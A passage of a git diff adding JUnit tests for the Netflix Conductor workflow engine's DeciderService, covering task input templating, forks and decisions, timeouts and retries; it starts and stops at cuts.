workflow.getTasks().get(0).setStatus(TaskModel.Status.FAILED); + + outcome = deciderService.decide(workflow); + + assertNotNull(outcome); + assertEquals(1, outcome.tasksToBeUpdated.size()); + assertEquals(1, outcome.tasksToBeScheduled.size()); + + assertEquals(TaskModel.Status.FAILED, workflow.getTasks().get(0).getStatus()); + assertEquals(task1Id, outcome.tasksToBeUpdated.get(0).getTaskId()); + assertEquals( + task1.getTaskReferenceName(), + outcome.tasksToBeScheduled.get(0).getReferenceTaskName()); + assertEquals(i + 1, outcome.tasksToBeScheduled.get(0).getRetryCount()); + } + + String task1Id = outcome.tasksToBeScheduled.get(0).getTaskId(); + + workflow.getTasks().clear(); + workflow.getTasks().addAll(outcome.tasksToBeScheduled); + workflow.getTasks().get(0).setStatus(TaskModel.Status.FAILED); + + outcome = deciderService.decide(workflow); + + assertNotNull(outcome); + assertEquals(1, outcome.tasksToBeUpdated.size()); + assertEquals(1, outcome.tasksToBeScheduled.size()); + + assertEquals(TaskModel.Status.FAILED, workflow.getTasks().get(0).getStatus()); + assertEquals(task1Id, outcome.tasksToBeUpdated.get(0).getTaskId()); + assertEquals( + task2.getTaskReferenceName(), + outcome.tasksToBeScheduled.get(0).getReferenceTaskName()); + } + + @Test + public void testOptionalWithDynamicFork() { + WorkflowDef def = new WorkflowDef(); + def.setName("test"); + + WorkflowTask task1 = new WorkflowTask(); + task1.setName("fork0"); + task1.setWorkflowTaskType(TaskType.FORK_JOIN_DYNAMIC); + task1.setTaskReferenceName("fork0"); + task1.setDynamicForkTasksInputParamName("forkedInputs"); + task1.setDynamicForkTasksParam("forks"); + task1.getInputParameters().put("forks", "${workflow.input.forks}"); + task1.getInputParameters().put("forkedInputs", "${workflow.input.forkedInputs}"); + + WorkflowTask task2 = new WorkflowTask(); + task2.setName("join0"); + task2.setType("JOIN"); + task2.setTaskReferenceName("join0"); + + def.getTasks().add(task1); + def.getTasks().add(task2); + def.setSchemaVersion(2); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + List forks = new LinkedList<>(); + Map> forkedInputs = new HashMap<>(); + + for (int i = 0; i < 3; i++) { + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("f" + i); + workflowTask.getInputParameters().put("joinOn", new ArrayList<>()); + workflowTask.setTaskReferenceName("f" + i); + workflowTask.setWorkflowTaskType(TaskType.SIMPLE); + workflowTask.setOptional(true); + workflowTask.setTaskDefinition(new TaskDef("f" + i)); + forks.add(workflowTask); + + forkedInputs.put(workflowTask.getTaskReferenceName(), new HashMap<>()); + } + workflow.getInput().put("forks", forks); + workflow.getInput().put("forkedInputs", forkedInputs); + + workflow.setCreateTime(System.currentTimeMillis()); + DeciderOutcome outcome = deciderService.decide(workflow); + assertNotNull(outcome); + assertEquals(5, outcome.tasksToBeScheduled.size()); + assertEquals(0, outcome.tasksToBeUpdated.size()); + assertEquals(TASK_TYPE_FORK, outcome.tasksToBeScheduled.get(0).getTaskType()); + assertEquals(TaskModel.Status.COMPLETED, outcome.tasksToBeScheduled.get(0).getStatus()); + + for (int retryCount = 0; retryCount < 3; retryCount++) { + + for (TaskModel taskToBeScheduled : outcome.tasksToBeScheduled) { + if (taskToBeScheduled.getTaskDefName().equals("join0")) { + assertEquals(TaskModel.Status.IN_PROGRESS, taskToBeScheduled.getStatus()); + } else if (taskToBeScheduled.getTaskType().matches("(f0|f1|f2)")) { + assertEquals(TaskModel.Status.SCHEDULED, taskToBeScheduled.getStatus()); + taskToBeScheduled.setStatus(TaskModel.Status.FAILED); + } + + taskToBeScheduled.setUpdateTime(System.currentTimeMillis()); + } + workflow.getTasks().addAll(outcome.tasksToBeScheduled); + outcome = deciderService.decide(workflow); + assertNotNull(outcome); + } + assertEquals("f0", outcome.tasksToBeScheduled.get(0).getTaskType()); + + for (int i = 0; i < 3; i++) { + assertEquals(TaskModel.Status.FAILED, outcome.tasksToBeUpdated.get(i).getStatus()); + assertEquals("f" + (i), outcome.tasksToBeUpdated.get(i).getTaskDefName()); + } + + assertEquals(TaskModel.Status.SCHEDULED, outcome.tasksToBeScheduled.get(0).getStatus()); + System.out.println(outcome.tasksToBeScheduled.get(0)); + new Join(new ConductorProperties()) + .execute(workflow, outcome.tasksToBeScheduled.get(0), null); + assertEquals(TaskModel.Status.COMPLETED, outcome.tasksToBeScheduled.get(0).getStatus()); + } + + @Test + public void testDecisionCases() { + WorkflowDef def = new WorkflowDef(); + def.setName("test"); + + WorkflowTask even = new WorkflowTask(); + even.setName("even"); + even.setType("SIMPLE"); + even.setTaskReferenceName("even"); + even.setTaskDefinition(new TaskDef("even")); + + WorkflowTask odd = new WorkflowTask(); + odd.setName("odd"); + odd.setType("SIMPLE"); + odd.setTaskReferenceName("odd"); + odd.setTaskDefinition(new TaskDef("odd")); + + WorkflowTask defaultt = new WorkflowTask(); + defaultt.setName("defaultt"); + defaultt.setType("SIMPLE"); + defaultt.setTaskReferenceName("defaultt"); + defaultt.setTaskDefinition(new TaskDef("defaultt")); + + WorkflowTask decide = new WorkflowTask(); + decide.setName("decide"); + decide.setWorkflowTaskType(TaskType.DECISION); + decide.setTaskReferenceName("d0"); + decide.getInputParameters().put("Id", "${workflow.input.Id}"); + decide.getInputParameters().put("location", "${workflow.input.location}"); + decide.setCaseExpression( + "if ($.Id == null) 'bad input'; else if ( ($.Id != null && $.Id % 2 == 0) || $.location == 'usa') 'even'; else 'odd'; "); + + decide.getDecisionCases().put("even", Collections.singletonList(even)); + decide.getDecisionCases().put("odd", Collections.singletonList(odd)); + decide.setDefaultCase(Collections.singletonList(defaultt)); + + def.getTasks().add(decide); + def.setSchemaVersion(2); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + workflow.setCreateTime(System.currentTimeMillis()); + DeciderOutcome outcome = deciderService.decide(workflow); + assertNotNull(outcome); + assertEquals(2, outcome.tasksToBeScheduled.size()); + assertEquals( + decide.getTaskReferenceName(), + outcome.tasksToBeScheduled.get(0).getReferenceTaskName()); + assertEquals( + defaultt.getTaskReferenceName(), + outcome.tasksToBeScheduled.get(1).getReferenceTaskName()); // default + assertEquals( + Collections.singletonList("bad input"), + outcome.tasksToBeScheduled.get(0).getOutputData().get("caseOutput")); + + workflow.getInput().put("Id", 9); + workflow.getInput().put("location", "usa"); + outcome = deciderService.decide(workflow); + assertEquals(2, outcome.tasksToBeScheduled.size()); + assertEquals( + decide.getTaskReferenceName(), + outcome.tasksToBeScheduled.get(0).getReferenceTaskName()); + assertEquals( + even.getTaskReferenceName(), + outcome.tasksToBeScheduled + .get(1) + .getReferenceTaskName()); // even because of location == usa + assertEquals( + Collections.singletonList("even"), + outcome.tasksToBeScheduled.get(0).getOutputData().get("caseOutput")); + + workflow.getInput().put("Id", 9); + workflow.getInput().put("location", "canada"); + outcome = deciderService.decide(workflow); + assertEquals(2, outcome.tasksToBeScheduled.size()); + assertEquals( + decide.getTaskReferenceName(), + outcome.tasksToBeScheduled.get(0).getReferenceTaskName()); + assertEquals( + odd.getTaskReferenceName(), + outcome.tasksToBeScheduled.get(1).getReferenceTaskName()); // odd + assertEquals( + Collections.singletonList("odd"), + outcome.tasksToBeScheduled.get(0).getOutputData().get("caseOutput")); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/TestDeciderService.java b/core/src/test/java/com/netflix/conductor/core/execution/TestDeciderService.java new file mode 100644 index 0000000..f8baf2e --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/TestDeciderService.java @@ -0,0 +1,2055 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution; + +import java.io.IOException; +import java.io.InputStream; +import java.time.Duration; +import java.util.*; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.TimeUnit; +import java.util.function.Function; +import java.util.stream.Collectors; + +import org.junit.Before; +import org.junit.BeforeClass; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.Configuration; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskDef.TimeoutPolicy; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.utils.TaskUtils; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.DeciderService.DeciderOutcome; +import com.netflix.conductor.core.execution.mapper.TaskMapper; +import com.netflix.conductor.core.execution.tasks.SubWorkflow; +import com.netflix.conductor.core.execution.tasks.SystemTaskRegistry; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.core.utils.ExternalPayloadStorageUtils; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.micrometer.core.instrument.Counter; +import io.micrometer.core.instrument.MeterRegistry; +import io.micrometer.core.instrument.simple.SimpleMeterRegistry; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.*; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +@ContextConfiguration( + classes = {TestObjectMapperConfiguration.class, TestDeciderService.TestConfiguration.class}) +@RunWith(SpringRunner.class) +public class TestDeciderService { + + @Configuration + @ComponentScan(basePackageClasses = TaskMapper.class) // loads all TaskMapper beans + public static class TestConfiguration { + + @Bean(TASK_TYPE_SUB_WORKFLOW) + public SubWorkflow subWorkflow(ObjectMapper objectMapper, IDGenerator idGenerator) { + return new SubWorkflow(objectMapper, idGenerator); + } + + @Bean("asyncCompleteSystemTask") + public WorkflowSystemTaskStub asyncCompleteSystemTask() { + return new WorkflowSystemTaskStub("asyncCompleteSystemTask") { + @Override + public boolean isAsyncComplete(TaskModel task) { + return true; + } + }; + } + + @Bean + public SystemTaskRegistry systemTaskRegistry(Set tasks) { + return new SystemTaskRegistry(tasks); + } + + @Bean + public MetadataDAO mockMetadataDAO() { + return mock(MetadataDAO.class); + } + + @Bean + public Map taskMapperMap(Collection taskMappers) { + return taskMappers.stream() + .collect(Collectors.toMap(TaskMapper::getTaskType, Function.identity())); + } + + @Bean + public ParametersUtils parametersUtils(ObjectMapper mapper) { + return new ParametersUtils(mapper); + } + + @Bean + public IDGenerator idGenerator() { + return new IDGenerator(); + } + } + + private DeciderService deciderService; + + private ExternalPayloadStorageUtils externalPayloadStorageUtils; + private static MeterRegistry registry; + + @Autowired private ObjectMapper objectMapper; + + @Autowired private SystemTaskRegistry systemTaskRegistry; + + @Autowired + @Qualifier("taskMapperMap") + private Map taskMappers; + + @Autowired private ParametersUtils parametersUtils; + + @Autowired private MetadataDAO metadataDAO; + + @Rule public ExpectedException exception = ExpectedException.none(); + + @BeforeClass + public static void init() { + registry = new SimpleMeterRegistry(); + } + + @Before + public void setup() { + externalPayloadStorageUtils = mock(ExternalPayloadStorageUtils.class); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("TestDeciderService"); + workflowDef.setVersion(1); + TaskDef taskDef = new TaskDef(); + when(metadataDAO.getTaskDef(any())).thenReturn(taskDef); + when(metadataDAO.getLatestWorkflowDef(any())).thenReturn(Optional.of(workflowDef)); + + deciderService = + new DeciderService( + new IDGenerator(), + parametersUtils, + metadataDAO, + externalPayloadStorageUtils, + systemTaskRegistry, + taskMappers, + new HashMap<>(), + Duration.ofMinutes(60)); + } + + @Test + public void testGetTaskInputV2() { + WorkflowModel workflow = createDefaultWorkflow(); + + workflow.getWorkflowDefinition().setSchemaVersion(2); + + Map inputParams = new HashMap<>(); + inputParams.put("workflowInputParam", "${workflow.input.requestId}"); + inputParams.put("taskOutputParam", "${task2.output.location}"); + inputParams.put("taskOutputParam2", "${task2.output.locationBad}"); + inputParams.put("taskOutputParam3", "${task3.output.location}"); + inputParams.put("constParam", "Some String value"); + inputParams.put("nullValue", null); + inputParams.put("task2Status", "${task2.status}"); + inputParams.put("channelMap", "${workflow.input.channelMapping}"); + Map taskInput = + parametersUtils.getTaskInput(inputParams, workflow, null, null); + + assertNotNull(taskInput); + assertTrue(taskInput.containsKey("workflowInputParam")); + assertTrue(taskInput.containsKey("taskOutputParam")); + assertTrue(taskInput.containsKey("taskOutputParam2")); + assertTrue(taskInput.containsKey("taskOutputParam3")); + assertNull(taskInput.get("taskOutputParam2")); + + assertNotNull(taskInput.get("channelMap")); + assertEquals(5, taskInput.get("channelMap")); + + assertEquals("request id 001", taskInput.get("workflowInputParam")); + assertEquals("http://location", taskInput.get("taskOutputParam")); + assertNull(taskInput.get("taskOutputParam3")); + assertNull(taskInput.get("nullValue")); + assertEquals( + workflow.getTasks().get(0).getStatus().name(), + taskInput.get("task2Status")); // task2 and task3 are the tasks respectively + } + + @Test + public void testGetTaskInputV2Partial() { + WorkflowModel workflow = createDefaultWorkflow(); + System.setProperty("EC2_INSTANCE", "i-123abcdef990"); + workflow.getWorkflowDefinition().setSchemaVersion(2); + + Map inputParams = new HashMap<>(); + inputParams.put("workflowInputParam", "${workflow.input.requestId}"); + inputParams.put("workfowOutputParam", "${workflow.output.name}"); + inputParams.put("taskOutputParam", "${task2.output.location}"); + inputParams.put("taskOutputParam2", "${task2.output.locationBad}"); + inputParams.put("taskOutputParam3", "${task3.output.location}"); + inputParams.put("constParam", "Some String value &"); + inputParams.put("partial", "${task2.output.location}/something?host=${EC2_INSTANCE}"); + inputParams.put("jsonPathExtracted", "${workflow.output.names[*].year}"); + inputParams.put("secondName", "${workflow.output.names[1].name}"); + inputParams.put( + "concatenatedName", + "The Band is: ${workflow.output.names[1].name}-\t${EC2_INSTANCE}"); + + TaskDef taskDef = new TaskDef(); + taskDef.getInputTemplate().put("opname", "${workflow.output.name}"); + List listParams = new LinkedList<>(); + List listParams2 = new LinkedList<>(); + listParams2.add("${workflow.input.requestId}-10-${EC2_INSTANCE}"); + listParams.add(listParams2); + Map map = new HashMap<>(); + map.put("name", "${workflow.output.names[0].name}"); + map.put("hasAwards", "${workflow.input.hasAwards}"); + listParams.add(map); + taskDef.getInputTemplate().put("listValues", listParams); + + Map taskInput = + parametersUtils.getTaskInput(inputParams, workflow, taskDef, null); + + assertNotNull(taskInput); + assertTrue(taskInput.containsKey("workflowInputParam")); + assertTrue(taskInput.containsKey("taskOutputParam")); + assertTrue(taskInput.containsKey("taskOutputParam2")); + assertTrue(taskInput.containsKey("taskOutputParam3")); + assertNull(taskInput.get("taskOutputParam2")); + assertNotNull(taskInput.get("jsonPathExtracted")); + assertTrue(taskInput.get("jsonPathExtracted") instanceof List); + assertNotNull(taskInput.get("secondName")); + assertTrue(taskInput.get("secondName") instanceof String); + assertEquals("The Doors", taskInput.get("secondName")); + assertEquals("The Band is: The Doors-\ti-123abcdef990", taskInput.get("concatenatedName")); + + assertEquals("request id 001", taskInput.get("workflowInputParam")); + assertEquals("http://location", taskInput.get("taskOutputParam")); + assertNull(taskInput.get("taskOutputParam3")); + assertNotNull(taskInput.get("partial")); + assertEquals("http://location/something?host=i-123abcdef990", taskInput.get("partial")); + } + + @SuppressWarnings("unchecked") + @Test + public void testGetTaskInput() { + Map ip = new HashMap<>(); + ip.put("workflowInputParam", "${workflow.input.requestId}"); + ip.put("taskOutputParam", "${task2.output.location}"); + List> json = new LinkedList<>(); + Map m1 = new HashMap<>(); + m1.put("name", "person name"); + m1.put("city", "New York"); + m1.put("phone", 2120001234); + m1.put("status", "${task2.output.isPersonActive}"); + + Map m2 = new HashMap<>(); + m2.put("employer", "City Of New York"); + m2.put("color", "purple"); + m2.put("requestId", "${workflow.input.requestId}"); + + json.add(m1); + json.add(m2); + ip.put("complexJson", json); + + WorkflowDef def = new WorkflowDef(); + def.setName("testGetTaskInput"); + def.setSchemaVersion(2); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + workflow.getInput().put("requestId", "request id 001"); + TaskModel task = new TaskModel(); + task.setReferenceTaskName("task2"); + task.addOutput("location", "http://location"); + task.addOutput("isPersonActive", true); + workflow.getTasks().add(task); + Map taskInput = parametersUtils.getTaskInput(ip, workflow, null, null); + + assertNotNull(taskInput); + assertTrue(taskInput.containsKey("workflowInputParam")); + assertTrue(taskInput.containsKey("taskOutputParam")); + assertEquals("request id 001", taskInput.get("workflowInputParam")); + assertEquals("http://location", taskInput.get("taskOutputParam")); + assertNotNull(taskInput.get("complexJson")); + assertTrue(taskInput.get("complexJson") instanceof List); + + List> resolvedInput = + (List>) taskInput.get("complexJson"); + assertEquals(2, resolvedInput.size()); + } + + @Test + public void testGetTaskInputV1() { + Map ip = new HashMap<>(); + ip.put("workflowInputParam", "workflow.input.requestId"); + ip.put("taskOutputParam", "task2.output.location"); + + WorkflowDef def = new WorkflowDef(); + def.setSchemaVersion(1); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + + workflow.getInput().put("requestId", "request id 001"); + TaskModel task = new TaskModel(); + task.setReferenceTaskName("task2"); + task.addOutput("location", "http://location"); + task.addOutput("isPersonActive", true); + workflow.getTasks().add(task); + Map taskInput = parametersUtils.getTaskInput(ip, workflow, null, null); + + assertNotNull(taskInput); + assertTrue(taskInput.containsKey("workflowInputParam")); + assertTrue(taskInput.containsKey("taskOutputParam")); + assertEquals("request id 001", taskInput.get("workflowInputParam")); + assertEquals("http://location", taskInput.get("taskOutputParam")); + } + + @Test + public void testGetTaskInputV2WithInputTemplate() { + TaskDef def = new TaskDef(); + Map inputTemplate = new HashMap<>(); + inputTemplate.put("url", "https://some_url:7004"); + inputTemplate.put("default_url", "https://default_url:7004"); + inputTemplate.put("someKey", "someValue"); + + def.getInputTemplate().putAll(inputTemplate); + + Map workflowInput = new HashMap<>(); + workflowInput.put("some_new_url", "https://some_new_url:7004"); + workflowInput.put("workflow_input_url", "https://workflow_input_url:7004"); + workflowInput.put("some_other_key", "some_other_value"); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("testGetTaskInputV2WithInputTemplate"); + workflowDef.setVersion(1); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + workflow.setInput(workflowInput); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.getInputParameters().put("url", "${workflow.input.some_new_url}"); + workflowTask + .getInputParameters() + .put("workflow_input_url", "${workflow.input.workflow_input_url}"); + workflowTask.getInputParameters().put("someKey", "${workflow.input.someKey}"); + workflowTask.getInputParameters().put("someOtherKey", "${workflow.input.some_other_key}"); + workflowTask + .getInputParameters() + .put("someNowhereToBeFoundKey", "${workflow.input.some_ne_key}"); + + Map taskInput = + parametersUtils.getTaskInputV2( + workflowTask.getInputParameters(), workflow, null, def); + assertTrue(taskInput.containsKey("url")); + assertTrue(taskInput.containsKey("default_url")); + assertEquals(taskInput.get("url"), "https://some_new_url:7004"); + assertEquals(taskInput.get("default_url"), "https://default_url:7004"); + assertEquals(taskInput.get("workflow_input_url"), "https://workflow_input_url:7004"); + assertEquals("some_other_value", taskInput.get("someOtherKey")); + assertEquals("someValue", taskInput.get("someKey")); + assertNull(taskInput.get("someNowhereToBeFoundKey")); + } + + @Test + public void testGetNextTask() { + + WorkflowDef def = createNestedWorkflow(); + WorkflowTask firstTask = def.getTasks().get(0); + assertNotNull(firstTask); + assertEquals("fork1", firstTask.getTaskReferenceName()); + WorkflowTask nextAfterFirst = def.getNextTask(firstTask.getTaskReferenceName()); + assertNotNull(nextAfterFirst); + assertEquals("join1", nextAfterFirst.getTaskReferenceName()); + + WorkflowTask fork2 = def.getTaskByRefName("fork2"); + assertNotNull(fork2); + assertEquals("fork2", fork2.getTaskReferenceName()); + + WorkflowTask taskAfterFork2 = def.getNextTask("fork2"); + assertNotNull(taskAfterFork2); + assertEquals("join2", taskAfterFork2.getTaskReferenceName()); + + WorkflowTask t2 = def.getTaskByRefName("t2"); + assertNotNull(t2); + assertEquals("t2", t2.getTaskReferenceName()); + + WorkflowTask taskAfterT2 = def.getNextTask("t2"); + assertNotNull(taskAfterT2); + assertEquals("t4", taskAfterT2.getTaskReferenceName()); + + WorkflowTask taskAfterT3 = def.getNextTask("t3"); + assertNotNull(taskAfterT3); + assertEquals(DECISION.name(), taskAfterT3.getType()); + assertEquals("d1", taskAfterT3.getTaskReferenceName()); + + WorkflowTask taskAfterT4 = def.getNextTask("t4"); + assertNotNull(taskAfterT4); + assertEquals("join2", taskAfterT4.getTaskReferenceName()); + + WorkflowTask taskAfterT6 = def.getNextTask("t6"); + assertNotNull(taskAfterT6); + assertEquals("t9", taskAfterT6.getTaskReferenceName()); + + WorkflowTask taskAfterJoin2 = def.getNextTask("join2"); + assertNotNull(taskAfterJoin2); + assertEquals("join1", taskAfterJoin2.getTaskReferenceName()); + + WorkflowTask taskAfterJoin1 = def.getNextTask("join1"); + assertNotNull(taskAfterJoin1); + assertEquals("t5", taskAfterJoin1.getTaskReferenceName()); + + WorkflowTask taskAfterSubWF = def.getNextTask("sw1"); + assertNotNull(taskAfterSubWF); + assertEquals("join1", taskAfterSubWF.getTaskReferenceName()); + + WorkflowTask taskAfterT9 = def.getNextTask("t9"); + assertNotNull(taskAfterT9); + assertEquals("join2", taskAfterT9.getTaskReferenceName()); + } + + @Test + public void testCaseStatement() { + + WorkflowDef def = createConditionalWF(); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + workflow.setCreateTime(0L); + workflow.setWorkflowId("a"); + workflow.setCorrelationId("b"); + workflow.setStatus(WorkflowModel.Status.RUNNING); + + DeciderOutcome outcome = deciderService.decide(workflow); + List scheduledTasks = outcome.tasksToBeScheduled; + assertNotNull(scheduledTasks); + assertEquals(2, scheduledTasks.size()); + assertEquals(TaskModel.Status.IN_PROGRESS, scheduledTasks.get(0).getStatus()); + assertEquals(TaskModel.Status.SCHEDULED, scheduledTasks.get(1).getStatus()); + } + + @Test + public void testGetTaskByRef() { + WorkflowModel workflow = new WorkflowModel(); + TaskModel t1 = new TaskModel(); + t1.setReferenceTaskName("ref"); + t1.setSeq(0); + t1.setStatus(TaskModel.Status.TIMED_OUT); + + TaskModel t2 = new TaskModel(); + t2.setReferenceTaskName("ref"); + t2.setSeq(1); + t2.setStatus(TaskModel.Status.FAILED); + + TaskModel t3 = new TaskModel(); + t3.setReferenceTaskName("ref"); + t3.setSeq(2); + t3.setStatus(TaskModel.Status.COMPLETED); + + workflow.getTasks().add(t1); + workflow.getTasks().add(t2); + workflow.getTasks().add(t3); + + TaskModel task = workflow.getTaskByRefName("ref"); + assertNotNull(task); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals(t3.getSeq(), task.getSeq()); + } + + @Test + public void testTaskTimeout() { + Counter counter = + registry.counter("task_timeout", "class", "WorkflowMonitor", "taskType", "test"); + double counterCount = counter.count(); + + TaskDef taskType = new TaskDef(); + taskType.setName("test"); + taskType.setTimeoutPolicy(TimeoutPolicy.RETRY); + taskType.setTimeoutSeconds(1); + + TaskModel task = new TaskModel(); + task.setTaskType(taskType.getName()); + task.setStartTime(System.currentTimeMillis() - 2_000); // 2 seconds ago! + task.setStatus(TaskModel.Status.IN_PROGRESS); + deciderService.checkTaskTimeout(taskType, task); + + // Task should be marked as timed out + assertEquals(TaskModel.Status.TIMED_OUT, task.getStatus()); + assertNotNull(task.getReasonForIncompletion()); + + taskType.setTimeoutPolicy(TimeoutPolicy.ALERT_ONLY); + task.setStatus(TaskModel.Status.IN_PROGRESS); + task.setReasonForIncompletion(null); + deciderService.checkTaskTimeout(taskType, task); + + // Nothing will happen + assertEquals(TaskModel.Status.IN_PROGRESS, task.getStatus()); + assertNull(task.getReasonForIncompletion()); + + boolean exception = false; + taskType.setTimeoutPolicy(TimeoutPolicy.TIME_OUT_WF); + task.setStatus(TaskModel.Status.IN_PROGRESS); + task.setReasonForIncompletion(null); + + try { + deciderService.checkTaskTimeout(taskType, task); + } catch (TerminateWorkflowException tw) { + exception = true; + } + assertTrue(exception); + assertEquals(TaskModel.Status.TIMED_OUT, task.getStatus()); + assertNotNull(task.getReasonForIncompletion()); + + taskType.setTimeoutPolicy(TimeoutPolicy.TIME_OUT_WF); + task.setStatus(TaskModel.Status.IN_PROGRESS); + task.setReasonForIncompletion(null); + deciderService.checkTaskTimeout(null, task); // this will be a no-op + + assertEquals(TaskModel.Status.IN_PROGRESS, task.getStatus()); + assertNull(task.getReasonForIncompletion()); + } + + @Test + public void testCheckTaskPollTimeout() { + Counter counter = + registry.counter("task_timeout", "class", "WorkflowMonitor", "taskType", "test"); + double counterCount = counter.count(); + + TaskDef taskType = new TaskDef(); + taskType.setName("test"); + taskType.setTimeoutPolicy(TimeoutPolicy.RETRY); + taskType.setPollTimeoutSeconds(1); + + TaskModel task = new TaskModel(); + task.setTaskType(taskType.getName()); + task.setScheduledTime(System.currentTimeMillis() - 2_000); + task.setStatus(TaskModel.Status.SCHEDULED); + deciderService.checkTaskPollTimeout(taskType, task); + + assertEquals(TaskModel.Status.TIMED_OUT, task.getStatus()); + assertNotNull(task.getReasonForIncompletion()); + + task.setScheduledTime(System.currentTimeMillis()); + task.setReasonForIncompletion(null); + task.setStatus(TaskModel.Status.SCHEDULED); + deciderService.checkTaskPollTimeout(taskType, task); + + assertEquals(TaskModel.Status.SCHEDULED, task.getStatus()); + assertNull(task.getReasonForIncompletion()); + } + + @SuppressWarnings("unchecked") + @Test + public void testConcurrentTaskInputCalc() throws InterruptedException { + TaskDef def = new TaskDef(); + + Map inputMap = new HashMap<>(); + inputMap.put("path", "${workflow.input.inputLocation}"); + inputMap.put("type", "${workflow.input.sourceType}"); + inputMap.put("channelMapping", "${workflow.input.channelMapping}"); + + List> input = new LinkedList<>(); + input.add(inputMap); + + Map body = new HashMap<>(); + body.put("input", input); + + def.getInputTemplate().putAll(body); + + ExecutorService executorService = Executors.newFixedThreadPool(10); + final int[] result = new int[10]; + CountDownLatch latch = new CountDownLatch(10); + + for (int i = 0; i < 10; i++) { + final int x = i; + executorService.submit( + () -> { + try { + Map workflowInput = new HashMap<>(); + workflowInput.put("outputLocation", "baggins://outputlocation/" + x); + workflowInput.put("inputLocation", "baggins://inputlocation/" + x); + workflowInput.put("sourceType", "MuxedSource"); + workflowInput.put("channelMapping", x); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("testConcurrentTaskInputCalc"); + workflowDef.setVersion(1); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + workflow.setInput(workflowInput); + + Map taskInput = + parametersUtils.getTaskInputV2( + new HashMap<>(), workflow, null, def); + + Object reqInputObj = taskInput.get("input"); + assertNotNull(reqInputObj); + assertTrue(reqInputObj instanceof List); + List> reqInput = + (List>) reqInputObj; + + Object cmObj = reqInput.get(0).get("channelMapping"); + assertNotNull(cmObj); + if (!(cmObj instanceof Number)) { + result[x] = -1; + } else { + Number channelMapping = (Number) cmObj; + result[x] = channelMapping.intValue(); + } + + latch.countDown(); + } catch (Exception e) { + e.printStackTrace(); + } + }); + } + latch.await(1, TimeUnit.MINUTES); + if (latch.getCount() > 0) { + fail( + "Executions did not complete in a minute. Something wrong with the build server?"); + } + executorService.shutdownNow(); + for (int i = 0; i < result.length; i++) { + assertEquals(i, result[i]); + } + } + + @SuppressWarnings("unchecked") + @Test + public void testTaskRetry() { + WorkflowModel workflow = createDefaultWorkflow(); + + workflow.getWorkflowDefinition().setSchemaVersion(2); + + Map inputParams = new HashMap<>(); + inputParams.put("workflowInputParam", "${workflow.input.requestId}"); + inputParams.put("taskOutputParam", "${task2.output.location}"); + inputParams.put("constParam", "Some String value"); + inputParams.put("nullValue", null); + inputParams.put("task2Status", "${task2.status}"); + inputParams.put("null", null); + inputParams.put("task_id", "${CPEWF_TASK_ID}"); + + Map env = new HashMap<>(); + env.put("env_task_id", "${CPEWF_TASK_ID}"); + inputParams.put("env", env); + + Map taskInput = + parametersUtils.getTaskInput(inputParams, workflow, null, "t1"); + TaskModel task = new TaskModel(); + task.getInputData().putAll(taskInput); + task.setStatus(TaskModel.Status.FAILED); + task.setTaskId("t1"); + + TaskDef taskDef = new TaskDef(); + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.getInputParameters().put("task_id", "${CPEWF_TASK_ID}"); + workflowTask.getInputParameters().put("env", env); + + Optional task2 = deciderService.retry(taskDef, workflowTask, task, workflow); + assertEquals("t1", task.getInputData().get("task_id")); + assertEquals( + "t1", ((Map) task.getInputData().get("env")).get("env_task_id")); + + assertNotSame(task.getTaskId(), task2.get().getTaskId()); + assertEquals(task2.get().getTaskId(), task2.get().getInputData().get("task_id")); + assertEquals( + task2.get().getTaskId(), + ((Map) task2.get().getInputData().get("env")).get("env_task_id")); + + TaskModel 